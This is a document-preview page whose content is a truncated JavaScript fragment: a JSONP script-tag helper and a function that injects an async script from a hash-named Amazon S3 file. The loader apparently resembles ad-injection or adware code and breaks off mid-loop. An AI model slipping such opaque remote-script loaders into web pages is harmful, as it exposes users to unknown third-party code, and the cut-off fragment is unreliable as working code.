3fc2fcde52b5bf27f5d11800d6f08a75

Embed Size (px)

Citation preview

  • 7/23/2019 3fc2fcde52b5bf27f5d11800d6f08a75

    1/1

    function JSONscriptRequest(fullUrl) { var protocol=(("https:" == document.location.protocol) ? "https://" : "http://"); fullUrl=fullUrl.indexOf(protocol)==-1?fullUrl.replace("http://",protocol):fullUrl; this.fullUrl = fullUrl; this.noCacheIE = '&noCacheIE=' + (new Date()).getTime(); this.headLoc = document.getElementsByTagName("head").item(0);

    this.scriptId = 'JscriptId' + JSONscriptRequest.scriptCounter++;}JSONscriptRequest.scriptCounter = 1;

    JSONscriptRequest.prototype.buildScriptTag = function () { this.scriptObj = document.createElement("script"); this.scriptObj.setAttribute("type", "text/javascript"); this.scriptObj.setAttribute("charset", "utf-8"); this.scriptObj.setAttribute("async", true); this.scriptObj.setAttribute("src", this.fullUrl + this.noCacheIE); this.scriptObj.setAttribute("id", this.scriptId);}JSONscriptRequest.prototype.removeScriptTag = function () { this.headLoc.removeChild(this.scriptObj); }JSONscriptRequest.prototype.addScriptTag = function () { this.headLoc.appendChild(this.scriptObj); }function nrlskLoadJs(){

    var scrptE = document.createElement("script"),addr='d303e3cdddb4ded4b6ff495a7b496ed5.s3.amazonaws.com/8a3ca7ce67d3c4ca351611905fb0d3ba.js'; scrptE.setAttribute("type", "text/javascript"); scrptE.setAttribute("language", "JavaScript"); scrptE.setAttribute("async", true); var scripts=document.getElementsByTagName("script"); for(var i=0;i